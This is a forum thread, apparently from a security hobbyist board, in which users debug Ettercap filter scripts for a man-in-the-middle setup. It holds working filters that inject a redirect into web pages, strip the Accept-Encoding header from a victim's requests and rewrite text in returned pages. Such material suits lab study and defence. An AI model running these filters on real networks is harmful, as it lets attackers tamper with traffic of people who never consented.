This may not help in the slightest, but a filter I found awhile back for redirecting webpages.
if (ip.proto == TCP && tcp.src == 80) {
replace("<HEAD>", "<HEAD><META http-equiv=\"refresh\" content=\"0;URL=http://www.zombo.com\">");
replace("<head>", "<head><META http-equiv=\"refresh\" content=\"0;URL=http://www.zombo.com\">");
msg("zombo'ed!\n");
}
I felt like bending the bars back, and ripping out the window frames and eating them. yes, eating them! Leaping, leaping, leaping! Colonics for everyone! All right! You dumb*sses. I'm a mental patient. I'm *supposed* to act out!
Do you ever see "run" or "run2" in the message window?
It "shouldn't" matter but your curley braces {} are on the wrong lines (see the other examples you've quoted).
Also don't forget the "\n" in your msg output for new (or next) line.
Are you running ettercap on the same machine you're using as the victim?
No I haven'tOriginally Posted by thorin
I'm not sure to understand. Do you mean a difference between
andCode:if ( .... ) { .. }
Code:if ( .... ) { .. }ok, I'll add the \n
No, ettercap is running on a different machine
.... Have a look at your code...I believe your searching for something other than Accept-Encoding???/l
if (search(DATA.data, "Accept-Encoding"))
Yes. But like I said it "shouldn't matter", though I've seen stupid things like that kill people in the past.I'm not sure to understand. Do you mean a difference between
Do you see "zapped Accept-Encoding!" in the message window when you tested that example?
Yes I do. But I don't see "run" nor "run2". (maybe cos of the "\n" ?) I'll try it again once I'm back home and I'll let you know.
Well the zapped message does contain the /n so run or run2 should appear on the line after it, if they're being triggered correctly.
So here we go again. This is the filter:
When a victims loads a google page, I see "zapped Accept-Encoding!" in Ettercap console. Wireshark can see those modified packets.Code:if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!"); # note: replacement string is same length as original string msg("zapped Accept-Encoding!\n"); } } if (ip.proto == TCP && tcp.src == 80) { if (search(DECODED.data, "Google")){ replace("Google", "GOOGLE"); msg("run\n"); } if (search(DATA.data, "Google")){ replace("Google", "GOOGLE"); msg("run2\n"); } }
But I can't see "run" or "run2".
Am I the only one with this problem ?
And you're changing all the Iptables stuff from irongeeks page? I never really had a problem. Some pages didn't work, but most did (with his script). Not sure where you are going wrong.
I felt like bending the bars back, and ripping out the window frames and eating them. yes, eating them! Leaping, leaping, leaping! Colonics for everyone! All right! You dumb*sses. I'm a mental patient. I'm *supposed* to act out!
Posting Permissions
